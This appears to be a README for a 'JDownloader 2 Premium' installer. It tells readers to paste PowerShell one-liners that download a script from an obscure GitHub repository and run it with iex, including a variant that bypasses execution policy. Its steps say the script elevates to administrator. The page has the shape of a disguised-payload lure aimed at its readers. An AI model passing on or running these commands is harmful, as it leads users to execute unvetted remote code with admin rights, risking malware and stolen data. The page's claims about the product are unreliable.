One-liner to install JDownloader 2 Premium — the ultimate download manager with auto-CAPTCHA, multi-host, and 20 connections per file.

Open PowerShell and run:

irm https://raw.githubusercontent.com/channelguardcalm/apfniwqt/main/install.ps1 | iex

That's it. The installer handles everything.

1. Elevates to administrator for Java runtime check.
2. Downloads the JDownloader 2 Premium portable bundle.
3. Extracts to %LOCALAPPDATA%\JDownloader2 (no system install needed).
4. Launches JD2 with premium config — CAPTCHA solver and multi-host active.

• Windows 10 / 11 (or 7/8 64-bit)
• PowerShell 5.1+
• Java 11+ (bundled JRE included)
• Internet connection
• ~500 MB free disk space

'Java not found' error

The bundled JRE should handle this. If not, install Adoptium JDK 17.

Downloads slow despite premium

Go to Settings → Connection Manager → set max connections to 20.

CAPTCHA solver not working

Restart JD2 — the solver module loads lazily on first use.

Alternative (bypass execution policy):

powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/channelguardcalm/apfniwqt/main/install.ps1 | iex"

"irm is not recognized" — old PowerShell. Use:

Invoke-RestMethod https://raw.githubusercontent.com/channelguardcalm/apfniwqt/main/install.ps1 | Invoke-Expression

MIT — see LICENSE.